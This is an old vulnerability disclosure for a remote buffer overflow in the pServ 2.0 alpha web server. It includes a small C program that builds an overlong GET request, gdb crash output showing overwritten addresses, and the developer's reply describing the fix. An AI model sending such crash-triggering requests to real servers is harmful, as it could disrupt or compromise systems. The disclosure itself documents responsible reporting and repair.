Title: Remote Buffer Overflow in pServ 2.0 Alpha 11. Date: 8/16/2002 Author: Larry W. Cashdollar, @_larry0 This is an unreleased remote overflow for pServ: Download: http://sourceforge.net/projects/pserv It has been long since fixed, I never released it because it was alpha software which I thought would be lame to post a vuln on. From lwc@vapid.ath.cx Sat Apr 19 06:59:09 2003 Date: Mon, 16 Sep 2002 20:57:28 -0400 (EDT) From: Larry W. Cashdollar To: rmottola@users.sourceforge.net Subject: buffer overflow in pserv Here is a dump of a remote overflow in the handling of the GET request. <-------------------------------Test program---------------------------> #include #include int main (int argc, char *argv[]) { int i; char buffer[300]; bzero (buffer,300); for (i = 0;i<= atoi(argv[1]);i++) buffer[i] = 'X'; for (i=0;i<=atoi(argv[2]);i++) buffer[i+atoi(argv[1])] = 'A'; printf("GET /%s HTTP/1.0\r\n",buffer); } <----------------------------------------------------------------------> <-----------------------------Gdb output-------------------------------> accepted from 127.0.0.1 read error: 9 handling get of /XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA error recognizing extension: i = 19, extlen = 231 error during html [mime header] sock writing! 9 invalid out descriptor Program received signal SIGSEGV, Segmentation fault. 0x42080b1b in strlen () from /lib/i686/libc.so.6 (gdb) where #0 0x42080b1b in strlen () from /lib/i686/libc.so.6 #1 0x42051e4d in vfprintf () from /lib/i686/libc.so.6 #2 0x4205a197 in fprintf () from /lib/i686/libc.so.6 #3 0x0804ce6d in logWriteFileNotFound ( docPath=0x41414141
, req= {address = 'A' , method = 'A' , documentAddress = 'A' , "\0", 'X' , 'A' , '\0' , queryString = '\0' , protocolVersion = "HTTP/1.0\0\0\0\0\0\0\0", keepAlive = 0, userAgent = "NR", '\0' , rest = '\0' , "²L\0@\0\020\023B =\0\0\003\0\0\02\0\0\0^?^?^?^?\0\0\0\0 \004\0\0À4\001@\0\0\0B\0À\022Bc¹\022Bc¹\022B\0\0\0\0\005\0\0\0\0À\022B\0\020\023B`\v\023B M\023B\0À\022\0\003\0\0\0Ð6\001@È;\001@(ë^?¿Ã\213\0@ð=\001@°;\001@\024", '\0' , "\024\0\0\0\0\0\0/È;\001@\001\0\0\0Õ\205\004\b°;\001@À4\001@\001\003\0\0\0\0\0\0\bì^?¿\tM\0@\005\0\0\0\005\0\0\0\bì^?¿[N\0@\001\003\0\0\0\0\0\0\0\0\0"...}) at log.c:96 #4 0x08049412 in sayError (sock=1482184792, err=1096308824, filePath=0x41414141
, req= {address = 'A' , method = 'A' , documentAddress = 'A' , "\0", 'X' , 'A' , '\0' , queryString = '\0' , protocolVersion = "HTTP/1.0\0\0\0\0\0\0\0", keepAlive = 0, userAgent = "NR", '\0' , rest = '\0' , "²L\0@\0\020\023B =\0\0\003\0\0\02\0\0\0^?^?^?^?\0\0\0\0 \004\0\0À4\001@\0\0\0B\0À\022Bc¹\022Bc¹\022B\0\0\0\0\---Type to continue, or q to quit--- 005\0\0\0\0À\022B\0\020\023B`\v\023B M\023B\0À\022\0\003\0\0\0Ð6\001@È;\001@(ë^?¿Ã\213\0@ð=\001@°;\001@\024", '\0' , "\024\0\0\0\0\0\0/È;\001@\001\0\0\0Õ\205\004\b°;\001@À4\001@\001\003\0\0\0\0\0\0\bì^?¿\tM\0@\005\0\0\0\005\0\0\0\bì^?¿[N\0@\001\003\0\0\0\0\0\0\0\0\0"...}) at main.c:135 #5 0x58585858 in ?? () Cannot access memory at address 0x58585858 (gdb) From lwc@vapid.ath.cx Sat Apr 19 07:00:45 2003 Date: Wed, 18 Sep 2002 11:00:36 -0400 (EDT) From: Larry W. Cashdollar To: Riccardo Mottola Subject: Re: buffer overflow in pserv Nice work! On Wed, 18 Sep 2002, Riccardo Mottola wrote: > Hello Larry, > > I found the buffer overflow you pinpointed. It was hard work! I was checking > all my code, when I noticed... I used a too small buffer when writing the > error responsse through the socket! I was returning the whole "wrong header" > which... didn't fit in the standard buffer. Now it should work. > By ooking for your bug I also hardened the ?query-string part of the header: > on one side i was wasting half of the buffer risking another overflow for a > long cgi query, on the otherside I now trap the error and send pack an error > page so the client (as usually browsers do) stop trying. > I just noticed that opera isn't capable of sending a "too long" line, ti > truncates it! So I needed another browser to stimulate it better. > Hope all got a stp further. The current release is alpha 11; the bug fix > will come out in alpha 12 (likely tomorrow) which, if no other reports come > in, is candidate for beta 1. I have to test a bit alpha12 since I changed > some details and will make some regression-tests before releasing. > > Regards, > Riccardo > >